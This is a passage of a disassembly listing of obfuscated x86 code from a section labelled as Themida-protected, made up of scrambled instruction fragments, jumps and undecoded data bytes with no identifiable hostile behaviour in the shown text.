		db 0D1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5126D3:				; CODE XREF: Themida_:00507143j
		pop	esp
		add	ebx, 13870BC7h
		xor	ebx, 2E77066Bh
		not	ebx
		sub	ebx, 0CDAEC6A8h
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, esi
		pop	esi
		push	1A7Dh
		jmp	loc_5075AC
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 2Bh
		dd 0E959C800h, 0FFFF2D12h, 4246C81h, 6B3B1351h,	4246C01h
		dd 4244481h, 6B3B1351h,	24048F5Dh, 0FFFC57E9h, 0E96504FFh
		dd 0FFFF6C99h
; ---------------------------------------------------------------------------

loc_51272C:				; CODE XREF: Themida_:004FF950j
		mov	[esp], ebx
		mov	ebx, 57126FFBh
		push	ebx
		jmp	loc_503280
; ---------------------------------------------------------------------------
		dw 1BFh
		dd 56000000h, 0B3FCE957h, 0EE81FFFFh, 40186E47h, 15EF729h
		dd 0B9C781CFh, 59503426h, 0FFC0B60Fh, 0E9538734h, 0FFFF96DCh
		dd 7CBEF81h, 0FB3152BAh, 0CAC2815Fh, 14F9035h, 0CAEA81DAh
		dd 0E94F9035h, 0FFFF9A19h, 5C241C87h, 0B9240C89h, 6971317h
		dd 7E25C981h, 81492DA1h, 0E80D81F1h, 81494166h,	79DA1DC1h
		dd 95B1E905h, 5966FFFFh, 83240C8Bh, 66E904C4h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5127B3:				; CODE XREF: Themida_:004FFDB0j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 81h
		dd 111E0FF3h, 0E3EB814Eh, 31EB8665h, 241C8BDFh,	5504C483h
		dd 9E1C5ABDh, 0EBED8174h, 0E950B6CBh, 0FFFF2C78h, 2D77C381h
		dd 0D3297F2Bh, 2D77EB81h, 575A7F2Bh, 0DB0725BFh, 0E8EF8178h
		dd 10465A0h, 7AE95FFBh
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51280B:				; CODE XREF: Themida_:0050D11Aj
		mov	ecx, esp
		jmp	loc_510E15
; ---------------------------------------------------------------------------

loc_512812:				; CODE XREF: Themida_:0051040Bj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 3EF1353Eh
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 3CE20C60h
		add	ebp, eax
		sub	ebp, 3CE20C60h
		jmp	loc_51150F
; ---------------------------------------------------------------------------
aBbNr		db 'BN',0
		dw 0EA81h
		dd 7888020Fh, 55AD529h,	4730651Eh, 0FFA51FE9h, 588105FFh
		dd 0BF573A61h, 78157E29h, 0E95FFD01h, 0FFFF0B9Ah
; ---------------------------------------------------------------------------

loc_512870:				; CODE XREF: Themida_:0050CEC7j
		push	3FF0h
		jmp	loc_511301
; ---------------------------------------------------------------------------

loc_51287A:				; CODE XREF: Themida_:0050CE1Ej
		sub	edx, 5E2B4C7Fh
		sub	edx, 39B84B7Fh
		jmp	loc_513E9A
; ---------------------------------------------------------------------------
		db 0F7h
		dd 9983E9D7h, 0DF89FFFFh, 0E9241C8Bh, 0FFFF560Ah, 4C481h
		dd 43680000h, 89000026h, 0E9542414h, 0FFFEEFB5h
; ---------------------------------------------------------------------------

loc_5128B0:				; CODE XREF: Themida_:0050BC80j
		mov	esp, [esp]
		jmp	loc_50EDCC
; ---------------------------------------------------------------------------
		dd 4B8h, 1CB3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5128C2:				; CODE XREF: Themida_:005138E0j
		mov	[esp], eax
		push	esi
		push	0E2F7121h
		pop	esi
		jmp	loc_501663
; ---------------------------------------------------------------------------

loc_5128D1:				; CODE XREF: Themida_:00500AACj
		push	ecx
		mov	ecx, 2E45942Ah
		add	ebp, ecx
		pop	ecx
		mov	edx, ebp
		jmp	loc_50F395
; ---------------------------------------------------------------------------
		db 29h,	0CDh, 0FFh
		dd 83592434h, 2C3304C4h, 242C3124h, 8B242C33h, 89662424h
		dd 17E9240Ch, 51FFFECFh, 18DCE9h, 241C8B00h, 0FFAA30E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51290D:				; CODE XREF: Themida_:0050CB0Cj
		add	edx, edi
		sub	edx, 2C2E2083h
		jmp	loc_5016C4
; ---------------------------------------------------------------------------

loc_51291A:				; CODE XREF: Themida_:00501506j
		inc	eax
		sub	eax, 67843067h
		sub	eax, 6201FBE8h
		jmp	loc_50D6BA
; ---------------------------------------------------------------------------

loc_51292A:				; CODE XREF: Themida_:00510F54j
		pop	ebp
		jmp	loc_5024AA
; ---------------------------------------------------------------------------
		dd 83240C89h, 1C8904ECh, 0DA0BE924h, 3C87FFFEh,	89665C24h
		dd 0CBE92404h, 89FFFECEh, 0CD2958C1h, 0FFD704E9h, 81E589FFh
		dd 4C5h, 4C58100h, 87000000h, 0E95C242Ch, 0FFFF08D4h
; ---------------------------------------------------------------------------

loc_51296C:				; CODE XREF: Themida_:0050C7A8j
		mov	dh, 21h
		mov	al, dh
		mov	edx, [esp]
		add	esp, 4
		xor	al, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	cl, al
		pop	ax
		jmp	loc_512A28
; ---------------------------------------------------------------------------

loc_512988:				; CODE XREF: Themida_:0050EC74j
		mov	esi, 18F25507h
		push	esi
		sub	dword ptr [esp], 2371F31h
		pop	edx
		add	edx, 2371F31h
		jmp	loc_500CAF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0D950E959h, 814EFFFEh, 0F2332CE6h, 8EE813Ch,	0E92CF003h
		dd 0FFFF136Ah
; ---------------------------------------------------------------------------

loc_5129BC:				; CODE XREF: Themida_:00505BC0j
		and	edx, 140A117Eh
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_50886A
; ---------------------------------------------------------------------------

loc_5129DA:				; CODE XREF: Themida_:00500641j
		push	6FC7064Fh
		pop	ebx
		not	ebx
		push	ecx
		mov	ecx, 9038F9B4h
		xor	ebx, ecx
		jmp	loc_50555B
; ---------------------------------------------------------------------------

loc_5129EF:				; CODE XREF: Themida_:00511D77j
		pop	ecx
		mov	ebp, esi
		jmp	loc_50F085
; ---------------------------------------------------------------------------

loc_5129F7:				; CODE XREF: Themida_:0050BBC7j
		pop	esp
		jmp	loc_4FFDB5
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 3
		dd 1FF6688h, 6BECE9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512A0A:				; CODE XREF: Themida_:00504892j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_50C02F
; ---------------------------------------------------------------------------
		dw 0BEh
		dd 0E9000000h, 0FFFFD651h
; ---------------------------------------------------------------------------

loc_512A28:				; CODE XREF: Themida_:00512983j
		xor	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	415Ah
		mov	[esp], edx
		push	eax
		mov	al, 5
		push	ebx
		mov	bl, al
		jmp	loc_510B53
; ---------------------------------------------------------------------------

loc_512A46:				; CODE XREF: Themida_:0050CB45j
		or	esi, ecx
		pop	ecx
		or	esi, 41AF08D8h
		xor	esi, 5E866237h
		jmp	loc_50F988
; ---------------------------------------------------------------------------
		dw 0D22Dh
		dd 4013703Fh, 17F8FA2Dh, 6BE561Dh, 4E3B6B1Bh, 3F11F681h
		dd 3DE944C4h, 28000000h, 0E95A66F0h, 0FFFFA9B6h, 75105A68h
		dd 98E95D50h, 5EFFFFE6h, 4244481h, 272542A4h, 4247C01h
		dd 4246C81h, 272542A4h,	24BCE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512AA6:				; CODE XREF: Themida_:0050C66Dj
		dec	edi
		push	0
		sub	[esp], edi
		jmp	loc_5030E8
; ---------------------------------------------------------------------------
		dd 348BF229h, 4C48124h,	1000000h, 14BD55C2h, 17FAF24h
		dd 81585DEAh, 4C2h, 24148700h, 0CD3CE95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_512ADA:				; CODE XREF: Themida_:005002B3j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6EC5h
		jmp	loc_5105E1
; ---------------------------------------------------------------------------
		db 8Fh
		dd 815F2404h, 0EC172BC7h, 0E9D7F766h, 6Dh, 5CEB815Ch, 2901D47Fh
		dd 5CC381EBh, 0E901D47Fh, 0FFFFE472h
; ---------------------------------------------------------------------------

loc_512B10:				; CODE XREF: Themida_:004FFA19j
		push	edx
		jmp	loc_501A56
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 0FEF24AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512B1D:				; CODE XREF: Themida_:00507B8Cj
		or	edi, esi
		pop	esi
		jmp	loc_50F9AE
; ---------------------------------------------------------------------------

loc_512B25:				; CODE XREF: Themida_:00506100j
		sub	ecx, ebx
		pop	ebx
		jmp	loc_509256
; ---------------------------------------------------------------------------

loc_512B2D:				; CODE XREF: Themida_:00508BB2j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 4F9B6EECh
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50BCCD
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0BE560000h, 2, 815EF001h, 4ECh, 24048900h, 0FFB45CE9h
		dd 81DFF7FFh, 8A9F4CF7h, 8BFA8968h, 0C483243Ch,	0E9C23104h
		dd 0FFFFCECEh, 81E38953h, 4C3h,	4C38100h, 87000000h, 8BE9241Ch
		db 0FBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_512B97:				; CODE XREF: Themida_:0050F821j
		add	esi, 77759ADh
		sub	esi, 16855F2Ch
		push	ebp
		mov	ebp, 23917D62h
		not	ebp
		jmp	loc_502731
; ---------------------------------------------------------------------------
		dd 5BD8315Ah, 48BC301h,	4C48324h, 2474FF53h, 0F149E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512BC6:				; CODE XREF: Themida_:0050FD95j
		xchg	eax, edi
		neg	eax
		xchg	eax, edi
		jmp	loc_512E96
; ---------------------------------------------------------------------------

loc_512BCF:				; CODE XREF: Themida_:005105DCj
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		push	6454h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_50E44F
; ---------------------------------------------------------------------------

loc_512BF4:				; CODE XREF: Themida_:00501C45j
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_509FB3
; ---------------------------------------------------------------------------

loc_512C10:				; CODE XREF: Themida_:00503694j
		push	ecx
		mov	ecx, 44A710CAh
		mov	eax, ecx
		jmp	loc_50FBF6
; ---------------------------------------------------------------------------

loc_512C1D:				; CODE XREF: Themida_:00506FD3j
		mov	edx, 55615D65h
		sub	edx, 14E22D2Dh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 145F3A15h
		jmp	loc_502A6C
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4ECh, 241C8900h, 0DEE9E389h, 66FFFFA9h, 8766D5F7h
		dd 1C3166EBh, 1C336624h, 1C316624h, 0E95D6624h,	0FFFF9747h
; ---------------------------------------------------------------------------

loc_512C64:				; CODE XREF: Themida_:00508D5Aj
		pop	edi
		push	0EB0h
		mov	[esp], eax
		mov	eax, 43BA519Ch
		sub	[esp+8], eax
		pop	eax
		jmp	loc_5069C5
; ---------------------------------------------------------------------------
		dd 15DE889h, 58042444h,	0FFC402E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512C89:				; CODE XREF: Themida_:0050C6DCj
		add	eax, edi
		sub	eax, 3D6F2Bh
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_5064BE
; ---------------------------------------------------------------------------
		dw 0D3B9h
		dd 0F7210A70h, 75C181D9h, 295995DEh, 0E392E9CFh, 0BF57FFFEh
		dd 1CEF4F43h, 0D6B2EF81h, 0FA01CC07h, 0C1D2F75Fh, 0DAF706EAh
		dd 8106E2C1h, 0CD9A5DC2h, 0FB12E9E1h, 0E959FFFFh, 0FFFFAE3Ah
		dd 0F705EAC1h, 0A0E942DAh, 5300001Bh, 0FED45AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512CED:				; CODE XREF: Themida_:005106CEj
		pop	eax
		push	3E2Eh
		jmp	loc_50F4FB
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 0FFE35AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512D01:				; CODE XREF: Themida_:0050355Cj
		push	5DFBh
		mov	[esp], edi
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_50C6E1
; ---------------------------------------------------------------------------
		db 1
		dd 0EC8159C8h, 4, 0BA241489h, 690D6F78h, 98BF5742h, 4734C870h
		dd 0FED639E9h, 14895CFFh, 2474FF24h, 2434FF04h,	0E924148Bh
		dd 0FFFF2119h, 4D8FEB81h, 0CB295877h, 4D8FC381h, 81595877h
		dd 0F768F6E3h, 77AFE94Dh, 7505FFFFh, 1321A0Fh, 0F752DF8h
		dd 3C8B321Ah, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 0FF41E7E9h, 24248BFFh, 0FED401E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512D8D:				; CODE XREF: Themida_:00514D37j
		add	ebp, 0A72C384Eh
		sub	edi, ebp
		pop	ebp
		add	edi, esi
		add	edi, 15ED6901h
		sub	edi, 274015DFh
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_504254
; ---------------------------------------------------------------------------
		dd 8104E2C1h, 0A7719DCAh, 27C28110h, 1AF080Ch, 2F6CE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512DC6:				; CODE XREF: Themida_:00508827j
		push	edx
		mov	dh, al
		jmp	loc_5105D2
; ---------------------------------------------------------------------------
		dw 0DD88h
		dd 0F659EE88h, 0F58851D6h, 5A59EB88h, 8001EB80h, 0F2E920EBh
		dd 0BEFFFFCAh, 170077D7h, 7911EE81h, 0C6810177h, 0ED8E5032h
		dd 34FFF129h, 0C4835E24h, 81D10104h, 174EF8C1h,	0FF515A03h
		dd 59042474h, 8B24048Fh, 0A3682424h, 0E9000006h, 0FFFF1396h
; ---------------------------------------------------------------------------

loc_512E20:				; CODE XREF: Themida_:00511B16j
		add	eax, 4
		add	eax, 4
		jmp	loc_50724C
; ---------------------------------------------------------------------------

loc_512E2F:				; CODE XREF: Themida_:005092EBj
		pop	ebp
		add	ebp, 0FFFFFFFFh
		jmp	loc_507FF1
; ---------------------------------------------------------------------------
		dd 0BAF7814Fh, 93AE795h, 243C8BF9h, 0FF4607E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512E49:				; CODE XREF: Themida_:0050E311j
		mov	[esp], esi
		push	eax
		jmp	loc_50A985
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 241C8B24h, 5104C483h, 2434FF54h, 83240C8Bh, 77E904C4h
		dd 89FFFFBFh, 2434FFD3h
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_50116B
; ---------------------------------------------------------------------------
		db 4Eh
		dd 6527BF57h, 0E7C110C8h, 2DB1E903h, 2C87FFFFh,	1AD2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512E96:				; CODE XREF: Themida_:00512BCAj
		xor	edi, 53082CC1h
		xor	edi, 510929DBh
		jmp	loc_513AFC
; ---------------------------------------------------------------------------

loc_512EA7:				; CODE XREF: Themida_:0050C779j
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_503DF3
; ---------------------------------------------------------------------------
		db 29h,	0F7h, 56h
		dd 0E517E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512EBE:				; CODE XREF: Themida_:00505FF8j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_508D15
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 0FFB866E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512ED1:				; CODE XREF: Themida_:00500DEEj
		inc	eax
		jmp	loc_510408
; ---------------------------------------------------------------------------

loc_512ED7:				; CODE XREF: Themida_:00514A98j
		push	dword ptr [esp]
		jmp	loc_5092CF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F75E2414h, 6F681DEh, 81477D00h, 0DD3B0FEEh,	5EF0314Dh
		dd 0CB46D205h, 58C32965h, 539DC381h, 81585E5Fh,	7331DC3h
		dd 81C3294Ah, 7331DEBh,	0DCFAE94Ah, 0EC81FFFFh,	4, 0FF240489h
		dd 58042474h, 8B24048Fh, 0C892424h, 0C8E4E924h,	0DFE9FFFEh
		db 0C8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_512F37:				; CODE XREF: Themida_:00503AADj
		xchg	esi, [esp]
		mov	esp, [esp]
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	4C2A148Fh
		pop	ebx
		neg	ebx
		or	ebx, 674F3D9Bh
		shr	ebx, 8
		push	ecx
		mov	ecx, 0F7DFFBh
		sub	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_508DDB
; ---------------------------------------------------------------------------
		dd 391BC381h, 0E9571E31h, 0FFFFB45Ch, 4C481h, 0C15E0000h
		dd 0D3F707E3h, 1F85C381h, 0D80124DDh, 0E9241C8Bh, 0FFFEC97Ch
		dd 8704C283h, 685C2414h, 1A15h,	68243489h, 52FAh, 0FFA7DAE9h
		dd 1C77FFFFh, 6659669Dh, 9C241CD3h, 0FEC859E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512FBD:				; CODE XREF: Themida_:00511FF6j
		pop	edi
		jmp	loc_504BE2
; ---------------------------------------------------------------------------

loc_512FC3:				; CODE XREF: Themida_:005025DBj
		push	ebp
		mov	ebp, 5BCE60F0h
		mov	ebx, ebp
		pop	ebp
		xor	ebx, 56210729h
		add	ecx, 7BC27BCAh
		sub	ecx, ebx
		sub	ecx, 7BC27BCAh
		pop	ebx
		jmp	loc_5044A6
; ---------------------------------------------------------------------------
		dw 400h
		dd 27E99C24h, 1FFFEC8h,	0E9515FFBh, 0FFFF8F1Ch,	50241489h
		dd 74FE953h, 0C483FFFFh, 24048F04h, 0A0B6525Ch,	6866h
		dd 0FEE09CE9h, 2C875BFFh, 0F7E95C24h, 58FFFEC7h, 2F9C6851h
		dd 1594309h, 35E959CFh,	29FFFFF7h, 34875AD6h, 24248B24h
		dd 0E9241489h, 0FFFF0AA2h, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 5AB81D6Bh
		push	ecx
		mov	ecx, 2DFC62A3h
		neg	ecx
		add	ecx, 64D1C4Eh
		sub	ecx, 999755CDh
		push	eax
		push	ebx
		push	59CB1688h
		jmp	loc_5048F2
; ---------------------------------------------------------------------------
		db 9, 6Fh, 1Ch
		dd 5D2434FFh, 4EC81h, 14890000h, 2B586824h, 24890000h
		dd 5A77E924h, 0C381FFFFh, 78816F5Eh, 0E92434FFh, 0FFCh
; ---------------------------------------------------------------------------

loc_513098:				; CODE XREF: Themida_:005119D1j
		not	ebp
		push	edi
		mov	edi, 51B80798h
		sub	edi, 7CF77AEDh
		add	edi, 9DCBD121h
		add	ebp, 55945AC7h
		sub	ebp, edi
		jmp	loc_500CD8
; ---------------------------------------------------------------------------

loc_5130B9:				; CODE XREF: Themida_:00505B3Bj
		mov	ebx, 56AF3A46h
		mov	edx, 0D331627Fh
		sub	edx, ebx
		pop	ebx
		jmp	loc_50899F
; ---------------------------------------------------------------------------

loc_5130CB:				; CODE XREF: Themida_:00500514j
		neg	ebp
		jmp	loc_507778
; ---------------------------------------------------------------------------
		dw 0F289h
		dd 0A926E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5130DA:				; CODE XREF: Themida_:0050810Dj
		push	bx
		mov	bl, 0FFh
		add	cl, bl
		mov	bx, [esp]
		add	esp, 2
		inc	cl
		xor	cl, 0EBh
		sub	esp, 4
		mov	[esp], edx
		mov	dh, cl
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		xor	al, bh
		jmp	loc_50880B
; ---------------------------------------------------------------------------

loc_51310C:				; CODE XREF: Themida_:00508135j
		push	ebx
		mov	ebx, 30656A87h
		sub	edi, ebx
		pop	ebx
		add	esi, 4EDD305Ah
		add	esi, edi
		sub	esi, 4EDD305Ah
		mov	edi, [esp]
		jmp	loc_50400D
; ---------------------------------------------------------------------------

loc_51312B:				; CODE XREF: Themida_:0050A47Fj
		mov	[esp], ecx
		jmp	loc_50F471
; ---------------------------------------------------------------------------

loc_513133:				; CODE XREF: Themida_:00501142j
		add	dword ptr [ebx], 1
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_503BD9
; ---------------------------------------------------------------------------

loc_513142:				; CODE XREF: Themida_:0050FDEAj
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 56522A4Dh
		mov	eax, 56522A49h
		xor	eax, ecx
		jmp	loc_513654
; ---------------------------------------------------------------------------

loc_51315C:				; CODE XREF: Themida_:005105CDj
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_505AB8
; ---------------------------------------------------------------------------

loc_51316B:				; CODE XREF: Themida_:00504BA3j
		xor	ecx, ebx
		pop	ebx
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		std
		sub	esp, 4
		jmp	loc_501CBC
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 33682B10h, 6A3AC981h, 0E981106Ch, 1B8E686Fh,	0C723E981h
		dd 0CE89F945h, 5EF20159h, 0FF2434FFh, 81592434h, 4C4h
		dd 4C48100h, 33000000h,	14312414h, 24143324h, 429665Ch
		dd 4FE99C24h
		db 0C6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5131C7:				; CODE XREF: Themida_:00506BA2j
		pop	dword ptr [edx+38h]
		push	4891h
		mov	[esp], edi
		mov	edi, 5B932C7Dh
		push	ebx
		jmp	loc_50D920
; ---------------------------------------------------------------------------

loc_5131DD:				; CODE XREF: Themida_:00512264j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		add	edx, 4
		push	ebp
		push	edi
		mov	edi, 0E0C1AA8h
		jmp	loc_50E03A
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 366D5C71h, 0E2E4B8B9h, 0B4BE5602h, 291ECD62h
		dd 382FE9F1h, 8B66FFFFh, 5451240Ch, 1192E959h, 0E981FFFFh
		dd 0D80996AAh, 5559CE89h, 8904EC83h, 0E0682404h, 585E8424h
		dd 2C775705h, 0DD0F707h, 740F6401h, 400D4A35h, 58C589B7h
		dd 2C8BEE31h, 6367E924h, 0C781FFFFh, 0D9E18558h, 815FFA01h
		dd 4ECh, 24348900h, 0FFAB12E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_513269:				; CODE XREF: Themida_:00505670j
		add	ebx, 5D521899h
		sub	ebx, ecx
		sub	ebx, 5D521899h
		jmp	loc_512148
; ---------------------------------------------------------------------------

loc_51327C:				; CODE XREF: Themida_:005125E4j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	458Ah
		jmp	loc_50A67D
; ---------------------------------------------------------------------------
		db 2Dh,	0E5h, 30h
		dd 0C5E96FF8h, 29FFFEC7h, 8B665DEBh, 0B6682414h, 89000013h
		dd 5CE9243Ch
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5132B7:				; CODE XREF: Themida_:00507C51j
		push	0FFFFFFFFh
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		push	edx
		jmp	loc_505C20
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 81E18951h, 4C1h, 0C247E900h,	0BE56FFFFh, 639B440Dh
		dd 1FE9E6D1h, 5BFFFF70h, 0F0001504h, 121EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5132F1:				; CODE XREF: Themida_:00502C81j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	0F1Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_514132
; ---------------------------------------------------------------------------
		dd 0E9241C33h, 0FFFF9F34h
; ---------------------------------------------------------------------------

loc_513314:				; CODE XREF: Themida_:005018FEj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_502D46
; ---------------------------------------------------------------------------
		dd 0E950CD29h, 0FFFF8B0Ah, 468h, 0C6015800h, 8324048Bh
		dd 0D96804C4h, 89000058h, 74FF2434h, 5DE90424h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51334B:				; CODE XREF: Themida_:0050C9D5j
		sub	eax, ebp
		pop	ebp
		jmp	loc_50B47B
; ---------------------------------------------------------------------------

loc_513353:				; CODE XREF: Themida_:00514577j
		mov	eax, esp
		push	esi
		mov	esi, 2DC50D73h
		neg	esi
		inc	esi
		neg	esi
		push	ebx
		mov	ebx, 29032A6Bh
		jmp	loc_507F73
; ---------------------------------------------------------------------------
		db 1
		dd 0DA295FFAh, 507FEA81h, 0C281431Dh, 4D286481h, 241C8B5Bh
		dd 0FF4F3FE9h, 0E9D6F6FFh, 0FFFFD8B3h
; ---------------------------------------------------------------------------

loc_51338C:				; CODE XREF: Themida_:0050F89Ej
		add	dl, 0B5h
		push	ecx
		mov	cl, 75h
		jmp	loc_5043A0
; ---------------------------------------------------------------------------
		db 89h
		dd 0BD55241Ch, 68164A68h, 258BC581h, 0E5C127C7h, 53ED8103h
		dd 895E5D2Dh, 0FDE3E9EBh, 0C380FFFEh, 80C30021h, 6A6821EBh
		dd 8900004Eh, 8BB1240Ch, 5259CB00h, 3BE978B2h, 5BFFFEF4h
		dd 15AD129h, 58C181C1h,	56630238h, 0FB2CB3BEh, 54E5E922h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5133EA:				; CODE XREF: Themida_:0050C52Ej
		mov	esi, 4
		jmp	loc_5008B0
; ---------------------------------------------------------------------------
		dd 68240C8Bh, 4E34h, 89243489h,	0EB91E9E6h, 0C681FFFEh
		dd 15E25890h, 0E951CE01h, 0FFFF82B8h
; ---------------------------------------------------------------------------

loc_513414:				; CODE XREF: Themida_:0051195Ej
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_50D5B1
; ---------------------------------------------------------------------------

loc_513422:				; CODE XREF: Themida_:00510B56j
		pop	eax
		push	bx
		push	eax
		mov	al, 0EDh
		jmp	loc_514701
; ---------------------------------------------------------------------------

loc_51342D:				; CODE XREF: Themida_:005022F2j
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50C55C
; ---------------------------------------------------------------------------

loc_51343C:				; CODE XREF: Themida_:00503194j
		xor	ebp, esi
		pop	esi
		jmp	loc_5096FE
; ---------------------------------------------------------------------------

loc_513444:				; CODE XREF: Themida_:00507619j
		push	eax
		mov	eax, 4
		jmp	loc_50041E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4C4AE9DEh, 248BFFFFh, 2CD36624h, 0B3E99C24h,	5BFFFEC3h
		dd 0FED5ACE9h, 6A35BEFFh, 0F30102E1h, 0B8EB815Eh, 17EBFB6h
		dd 0EF815BDFh, 2, 0FEFD8EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_513485:				; CODE XREF: Themida_:0050FCEEj
		dec	edx
		jmp	loc_50FD0C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C0E92434h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_513493:				; CODE XREF: Themida_:00511612j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_50907F
; ---------------------------------------------------------------------------
		db 0ACh, 51h, 54h
		dd 4C18159h, 53000000h,	468h, 2E80E900h, 8B58FFFFh, 0C483241Ch
		dd 0FFC80004h, 83592434h, 0ACE904C4h, 87FFFFC6h, 248B240Ch
		dd 17B95124h, 11FFA39h,	0E2C159CAh, 2E2C103h, 1827F281h
		dd 0C4E9DC8Eh, 5EFFFEF3h, 0FF150DE9h, 88E688FFh, 88585AF7h
		dd 45A5BFDh, 2CE800FAh,	0EC8159FAh, 4, 0E9240C89h, 0FFFFF7D7h
		dd 5104C483h, 4A6974B9h, 59CA0938h, 7C9FE281h, 0C2815613h
		dd 9F2A628Eh, 44C568h, 243C8900h, 3CE9D789h, 81FFFF9Eh
		dd 0AA1274EDh, 24348B36h, 5304C483h, 2BBh, 87B6E900h, 0EC83FFFFh
		dd 24348904h, 0EC835E54h, 243C8904h, 480566BFh,	0C5B8504Eh
		dd 0E9272C70h, 0FFFF8974h
; ---------------------------------------------------------------------------

loc_51356C:				; CODE XREF: Themida_:00502D4Ej
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	ebx, eax
		push	ecx
		jmp	loc_5116B3
; ---------------------------------------------------------------------------
aTH		db 'T]h%^',0
